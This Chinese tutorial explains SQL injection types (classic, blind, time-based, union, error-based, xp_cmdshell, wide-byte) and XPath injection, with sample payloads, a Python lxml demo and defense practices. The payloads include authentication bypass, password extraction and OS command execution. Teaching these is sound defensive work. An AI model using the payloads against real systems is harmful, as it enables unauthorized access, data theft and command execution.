简介

SQL 注入漏洞非常复杂,区分各种数据库类型,提交方法,数据类型等注入,同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的

原理

SQL注入的基本原理是利用应用程序对用户输入的过滤不足,攻击者通过精心构造的输入使得应用程序生成错误的SQL查询,导致数据库执行攻击者控制的SQL代码。

例如,当用户输入的数据直接拼接到SQL查询语句中时,攻击者可以通过输入特殊的SQL字符或SQL语句,改变查询语句的逻辑,甚至绕过认证、泄露敏感数据或修改数据。

SQL注入类型与示例

SQL注入(SQL Injection)是一种攻击手段,攻击者通过将恶意SQL代码插入到输入字段,操控数据库的查询语句,从而获取敏感信息或执行其他不合法的操作。SQL注入的类型多种多样,以下是常见的SQL注入类型及其具体示例。

1. 经典SQL注入(Classic SQL Injection)

经典SQL注入是一种最直接的攻击方式,攻击者通过在输入字段中插入恶意SQL代码,直接改变原有的SQL查询。

示例:

假设有一个登录查询语句:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

攻击者输入:

  • 用户名:admin' OR '1' = '1
  • 密码:password

注入后的查询:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' = '1';

由于'1' = '1'始终为真,攻击者通过此SQL注入绕过了身份验证。

2. 布尔盲注(Boolean-based Blind SQL Injection)

布尔盲注是一种SQL注入攻击方式,攻击者通过注入条件来观察应用的行为变化。虽然查询结果没有返回数据,但可以通过真假判断逐步推测数据库结构。

示例:

假设查询为:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

攻击者输入:

  • 用户名:admin' AND 1=1 --
  • 密码:any_value

注入后的查询:

SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ' AND password = 'any_value';

如果页面返回正常响应,表示1=1为真,SQL注入成功。

如果条件更改为:

  • 用户名:admin' AND 1=2 --
  • 密码:any_value

注入后的查询:

SELECT * FROM users WHERE username = 'admin' AND 1=2 -- ' AND password = 'any_value';

如果页面没有响应,攻击者知道1=2为假,从而进一步推测数据。

3. 时间盲注(Time-based Blind SQL Injection)

时间盲注通过让数据库延迟响应来推断SQL查询的结果。攻击者通过注入SLEEP等函数来制造延迟,观察返回的时间差异以确定查询的结果。

示例:

假设查询为:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

攻击者输入:

  • 用户名:admin' AND IF(1=1, SLEEP(5), 0) --
  • 密码:password

注入后的查询:

SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), 0) -- ' AND password = 'password;

如果数据库延迟5秒钟返回响应,攻击者知道1=1条件成立。

4. 联合查询注入(Union-based SQL Injection)

联合查询注入允许攻击者通过UNION操作符将多个SELECT查询结果合并,从而获取数据库中其他表的信息。

示例:

假设原始查询如下:

SELECT username, password FROM users WHERE username = 'admin' AND password = 'password';

攻击者可以注入以下查询,获取所有用户的用户名和密码:

  • 用户名:admin' UNION SELECT username, password FROM users --
  • 密码:password

注入后的SQL查询:

SELECT username, password FROM users WHERE username = 'admin' UNION SELECT username, password FROM users -- ' AND password = 'password';

此查询会返回users表中的usernamepassword字段的数据。

5. 错误基于SQL注入(Error-based SQL Injection)

错误基于注入利用数据库的错误消息来获取有用的信息。攻击者故意构造错误的SQL查询,从中提取数据库版本、表名、列名等敏感信息。

示例:

假设原始SQL查询为:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

攻击者注入:

  • 用户名:admin' AND 1=CONVERT(int, (SELECT @@version)) --
  • 密码:password

注入后的SQL查询:

SELECT * FROM users WHERE username = 'admin' AND 1=CONVERT(int, (SELECT @@version)) -- ' AND password = 'password';

如果数据库返回错误消息,攻击者就可以从错误信息中提取出数据库的版本信息。

6. 盲注的条件分支(Conditional Blind SQL Injection)

这种注入类型允许攻击者通过特定的条件(如子查询或比较操作)来检查SQL查询是否成功执行。通过条件语句(如SUBSTRINGCONCAT等)控制查询的结果。

示例:

假设原始SQL查询如下:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

攻击者可以尝试以下输入来逐步获取数据库的内容:

  • 用户名:admin' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'admin') = 'a' --
  • 密码:password

注入后的SQL查询:

SELECT * FROM users WHERE username = 'admin' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'admin') = 'a' -- ' AND password = 'password';

根据返回的页面内容(如是否包含正确的字符),攻击者逐步获取到完整的密码。

7. 存储过程注入(Stored Procedure Injection)

存储过程注入利用数据库中的存储过程执行恶意命令。攻击者通过执行存储过程,能够直接在数据库上运行操作系统命令或恶意SQL代码。

示例:

SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password’;

攻击者输入:

  • 用户名:admin'; EXEC xp_cmdshell('dir') --
  • 密码:password

存储过程xp_cmdshell可以允许执行操作系统命令,如列出文件目录。

注入后的SQL查询:

SELECT * FROM users WHERE username = 'admin'; EXEC xp_cmdshell('dir') -- 

8. 宽字节注入(Wide-Byte Injection)

宽字节注入利用字符编码的差异,特别是一些应用程序没有正确处理宽字节字符(如UTF-8、GBK、Big5等),从而绕过过滤器。

示例:

SELECT * FROM users WHERE username = ‘$username’

如果应用程序只过滤单字节的字符(如单引号'),攻击者可以使用宽字节字符(如UTF-8中的)来绕过过滤器。

攻击者输入:%bf%27 OR 1=1 —

即:

  • %bf = 0xBF
  • %27 = '

假设服务端使用 GBK 解码,则变成:SELECT * FROM users WHERE username = ‘縅 OR 1=1 –‘

'縅 是一个合法字符(由于 0xBF27 是 GBK 中合法双字节字符),不是单引号开头。

后续的 OR 1=1 -- 成为有效的 SQL 注入语句。

防御SQL注入的最佳实践

  1. 使用参数化查询(Prepared Statements)
    • 使用预处理语句和参数化查询,避免直接将用户输入嵌入SQL查询中。
    • 例如,使用PDO(PHP)、JDBC(Java)等数据库库进行参数化查询。
  2. 输入验证与过滤
    • 对所有输入进行严格的验证,确保输入数据符合预期格式,拒绝包含SQL关键字或特殊字符的输入。
    • 避免使用白名单以外的字符。
  3. 最小权限原则
    • 数据库账户应仅拥有执行应用程序所需的最小权限,避免使用具有过高权限的账户(如root)。
  4. 错误信息处理
    • 禁止将详细的数据库错误信息暴露给用户,避免攻击者利用错误信息进行攻击。
  5. Web应用防火墙(WAF)
    • 部署Web应用防火墙(WAF),帮助识别并拦截SQL注入攻击。

拓展

XPath 注入(XPath Injection)

📌 什么是 XPath?

XPath(XML Path Language)是一种用于在 XML 文档中查找信息的查询语言,类似于 SQL 之于数据库。

示例 XPath 查询语句:

/users/user[username='admin' and password='123456']

🚨 什么是 XPath 注入?

当应用程序将用户输入直接拼接进 XPath 查询语句中,攻击者可以通过构造恶意输入来改变 XPath 的逻辑,实现越权、数据泄露、绕过认证等目的。


✅ 正常认证示例

# 用户输入
username = input("请输入用户名:")  # admin
password = input("请输入密码:")    # 123456

# 构造 XPath 查询
xpath_query = f"/users/user[username='{username}' and password='{password}']"

❌ XPath 注入攻击示例

攻击者输入:

  • 用户名:' or '1'='1
  • 密码:' or '1'='1

拼接结果:

/users/user[username='' or '1'='1' and password='' or '1'='1']

效果: 无论实际用户名密码为何,该 XPath 表达式总是返回 true,认证被绕过。


🧪 常见 Payload 示例

目标Payload
绕过认证' or '1'='1
探测结构' or name()='admin
报错测试' and 'a'='b
盲注测试' and string-length(name())=5

🛡️ 防御措施

  1. 避免拼接用户输入到 XPath 表达式中。
  2. 使用安全 API,如参数化的 XPath(XPathVariableResolver)。
  3. 对用户输入进行转义或字符白名单过滤。
  4. 限制输入长度和内容(如禁止使用引号、逻辑运算符等)。
  5. 使用数据库代替 XML 存储,减少 XPath 使用。

🧷 参考示例(Python 中使用 lxml)

from lxml import etree

xml = '''
<users>
  <user><username>admin</username><password>123456</password></user>
  <user><username>guest</username><password>guest</password></user>
</users>
'''

root = etree.XML(xml)

# 不安全方式(易被注入)
username = "' or '1'='1"
password = "' or '1'='1"
query = f"/users/user[username='{username}' and password='{password}']"
result = root.xpath(query)

print(f"匹配结果:{len(result)}")

📚 总结

XPath 注入类似于 SQL 注入,主要发生在使用 XML 数据和不安全拼接用户输入时。务必采取输入验证和使用安全的解析方式来防御此类攻击。

XPath注入万能钥匙:']|//*|//*['

用于 XPath 注入 的典型 Payload,目的是绕过验证提取 XML 中的任意节点信息

1 个评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注